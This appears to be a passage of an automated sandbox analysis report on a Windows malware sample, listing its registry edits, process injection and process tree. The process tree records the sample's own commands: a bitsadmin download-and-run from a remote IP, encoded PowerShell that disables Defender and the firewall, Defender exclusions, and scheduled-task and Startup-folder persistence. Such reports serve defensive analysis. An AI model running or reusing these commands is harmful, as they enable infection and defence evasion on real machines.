63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e EEF4.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 EEF4.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 EEF4.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\SystemCertificates\CA\Certificates\D89E3BD43D5D909B47A18977AA9D5CE36CEE184C EEF4.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exepid process 2220 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe 2220 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
pid process 3028 -
Suspicious behavior: MapViewOfSection 2 IoCs
Processes:
021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe24D9.exepid process 2220 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe 924 24D9.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
3F38.exeWerFault.exeEEF4.exeAppLaunch.exeWerFault.execonhost.exedescription pid process Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeDebugPrivilege 376 3F38.exe Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeRestorePrivilege 836 WerFault.exe Token: SeBackupPrivilege 836 WerFault.exe Token: SeDebugPrivilege 836 WerFault.exe Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeDebugPrivilege 3236 EEF4.exe Token: SeDebugPrivilege 3528 AppLaunch.exe Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeDebugPrivilege 2240 WerFault.exe Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeDebugPrivilege 1800 conhost.exe Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe24D9.exe3F38.exeD0AD.exeFE47.execmd.execmd.exeAppLaunch.exedescription pid process target process PID 3168 wrote to memory of 2220 3168 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe PID 3168 wrote to memory of 2220 3168 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe PID 3168 wrote to memory of 2220 3168 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe PID 3168 wrote to memory of 2220 3168 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe PID 3168 wrote to memory of 2220 3168 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe PID 3168 wrote to memory of 2220 3168 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe 021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe PID 3028 wrote to memory of 4060 3028 24D9.exe PID 3028 wrote to memory of 4060 3028 24D9.exe PID 3028 wrote to memory of 4060 3028 24D9.exe PID 4060 wrote to memory of 924 4060 24D9.exe 24D9.exe PID 4060 wrote to memory of 924 4060 24D9.exe 24D9.exe PID 4060 wrote to memory of 924 4060 24D9.exe 24D9.exe PID 4060 wrote to memory of 924 4060 24D9.exe 24D9.exe PID 4060 wrote to memory of 924 4060 24D9.exe 24D9.exe PID 4060 wrote to memory of 924 4060 24D9.exe 24D9.exe PID 3028 wrote to memory of 2580 3028 3F38.exe PID 3028 wrote to memory of 2580 3028 3F38.exe PID 3028 wrote to memory of 2580 3028 3F38.exe PID 2580 wrote to memory of 1140 2580 3F38.exe 3F38.exe PID 2580 wrote to memory of 1140 2580 3F38.exe 3F38.exe PID 2580 wrote to memory of 1140 2580 3F38.exe 3F38.exe PID 2580 wrote to memory of 1140 2580 3F38.exe 3F38.exe PID 2580 wrote to memory of 64 2580 3F38.exe 3F38.exe PID 2580 wrote to memory of 64 2580 3F38.exe 3F38.exe PID 2580 wrote to memory of 64 2580 3F38.exe 3F38.exe PID 2580 wrote to memory of 64 2580 3F38.exe 3F38.exe PID 2580 wrote to memory of 376 2580 3F38.exe 3F38.exe PID 2580 wrote to memory of 376 2580 3F38.exe 3F38.exe PID 2580 wrote to memory of 376 2580 3F38.exe 3F38.exe PID 2580 wrote to memory of 376 2580 3F38.exe 3F38.exe PID 2580 wrote to memory of 376 2580 3F38.exe 3F38.exe PID 2580 wrote to memory of 376 2580 3F38.exe 3F38.exe PID 2580 wrote to memory of 376 2580 3F38.exe 3F38.exe PID 2580 wrote to memory of 376 2580 3F38.exe 3F38.exe PID 3028 wrote to memory of 1448 3028 BC1A.exe PID 3028 wrote to memory of 1448 3028 BC1A.exe PID 3028 wrote to memory of 1448 3028 BC1A.exe PID 3028 wrote to memory of 1708 3028 D0AD.exe PID 3028 wrote to memory of 1708 3028 D0AD.exe PID 3028 wrote to memory of 1708 3028 D0AD.exe PID 1708 wrote to memory of 3528 1708 D0AD.exe AppLaunch.exe PID 1708 wrote to memory of 3528 1708 D0AD.exe AppLaunch.exe PID 1708 wrote to memory of 3528 1708 D0AD.exe AppLaunch.exe PID 1708 wrote to memory of 3528 1708 D0AD.exe AppLaunch.exe PID 1708 wrote to memory of 3528 1708 D0AD.exe AppLaunch.exe PID 3028 wrote to memory of 3236 3028 EEF4.exe PID 3028 wrote to memory of 3236 3028 EEF4.exe PID 3028 wrote to memory of 3236 3028 EEF4.exe PID 3028 wrote to memory of 3376 3028 FE47.exe PID 3028 wrote to memory of 3376 3028 FE47.exe PID 3028 wrote to memory of 3376 3028 FE47.exe PID 3376 wrote to memory of 3692 3376 FE47.exe cmd.exe PID 3376 wrote to memory of 3692 3376 FE47.exe cmd.exe PID 3376 wrote to memory of 3692 3376 FE47.exe cmd.exe PID 3376 wrote to memory of 2320 3376 FE47.exe cmd.exe PID 3376 wrote to memory of 2320 3376 FE47.exe cmd.exe PID 3376 wrote to memory of 2320 3376 FE47.exe cmd.exe PID 3692 wrote to memory of 2148 3692 cmd.exe bitsadmin.exe PID 3692 wrote to memory of 2148 3692 cmd.exe bitsadmin.exe PID 3692 wrote to memory of 2148 3692 cmd.exe bitsadmin.exe PID 2320 wrote to memory of 2008 2320 cmd.exe bitsadmin.exe PID 2320 wrote to memory of 2008 2320 cmd.exe bitsadmin.exe PID 2320 wrote to memory of 2008 2320 cmd.exe bitsadmin.exe PID 3528 wrote to memory of 3340 3528 AppLaunch.exe fl.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe"C:\Users\Admin\AppData\Local\Temp\021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe"C:\Users\Admin\AppData\Local\Temp\021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017.exe"2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\24D9.exeC:\Users\Admin\AppData\Local\Temp\24D9.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\24D9.exeC:\Users\Admin\AppData\Local\Temp\24D9.exe2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\3F38.exeC:\Users\Admin\AppData\Local\Temp\3F38.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\3F38.exeC:\Users\Admin\AppData\Local\Temp\3F38.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\3F38.exeC:\Users\Admin\AppData\Local\Temp\3F38.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\3F38.exeC:\Users\Admin\AppData\Local\Temp\3F38.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\BC1A.exeC:\Users\Admin\AppData\Local\Temp\BC1A.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1448 -s 8762⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\D0AD.exeC:\Users\Admin\AppData\Local\Temp\D0AD.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\fl.exe"C:\Users\Admin\AppData\Local\Temp\fl.exe"3⤵
- Executes dropped EXE
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fl.exe"4⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\AppData\Roaming\services32.exe"5⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\AppData\Roaming\services32.exe"6⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services32.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\services32.exeC:\Users\Admin\AppData\Roaming\services32.exe6⤵
- Executes dropped EXE
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Roaming\services32.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 2162⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\EEF4.exeC:\Users\Admin\AppData\Local\Temp\EEF4.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\EEF4.exe"2⤵
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\DtwQfNsp" /XML "C:\Users\Admin\AppData\Local\Temp\tmp6D09.tmp"2⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\EEF4.exe"C:\Users\Admin\AppData\Local\Temp\EEF4.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe"C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe"4⤵
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\DtwQfNsp" /XML "C:\Users\Admin\AppData\Local\Temp\tmpEB90.tmp"4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe"C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\603c0340b4\5⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\603c0340b4\6⤵
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN sqtvvs.exe /TR "C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe" /F5⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\FE47.exeC:\Users\Admin\AppData\Local\Temp\FE47.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c bitsadmin /transfer myjob /download /priority high http://165.227.39.70/hoetnaca/exps/Bt.mp4 "%temp%\123.exe" && "%temp%\123.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\bitsadmin.exebitsadmin /transfer myjob /download /priority high http://165.227.39.70/hoetnaca/exps/Bt.mp4 "C:\Users\Admin\AppData\Local\Temp\123.exe"3⤵
- Download via BitsAdmin
-
C:\Users\Admin\AppData\Local\Temp\123.exe"C:\Users\Admin\AppData\Local\Temp\123.exe"3⤵
- Checks BIOS information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell.exe -exec bypass -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEgAaQBnAGgAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYAIAAtAEYAbwByAGMAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBvAGQAZQByAGEAdABlAFQAaAByAGUAYQB0AEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AIAA2AA0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBMAG8AdwBUAGgAcgBlAGEAdABEAGUAZgBhAHUAbAB0AEEAYwB0AGkAbwBuACAANgANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFMAYwBhAG4AUwBjAGgAZQBkAHUAbABlAEQAYQB5ACAAOAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA=4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -exec bypass -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEgAaQBnAGgAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYAIAAtAEYAbwByAGMAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBvAGQAZQByAGEAdABlAFQAaAByAGUAYQB0AEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AIAA2AA0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBMAG8AdwBUAGgAcgBlAGEAdABEAGUAZgBhAHUAbAB0AEEAYwB0AGkAbwBuACAANgANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFMAYwBhAG4AUwBjAGgAZQBkAHUAbABlAEQAYQB5ACAAOAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA=5⤵
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off6⤵
-
C:\Users\Admin\Documents\15FE3522C4A8539009248\15FE3522C4A8539009248.exe"C:\Users\Admin\Documents\15FE3522C4A8539009248\15FE3522C4A8539009248.exe"4⤵
- Executes dropped EXE
-
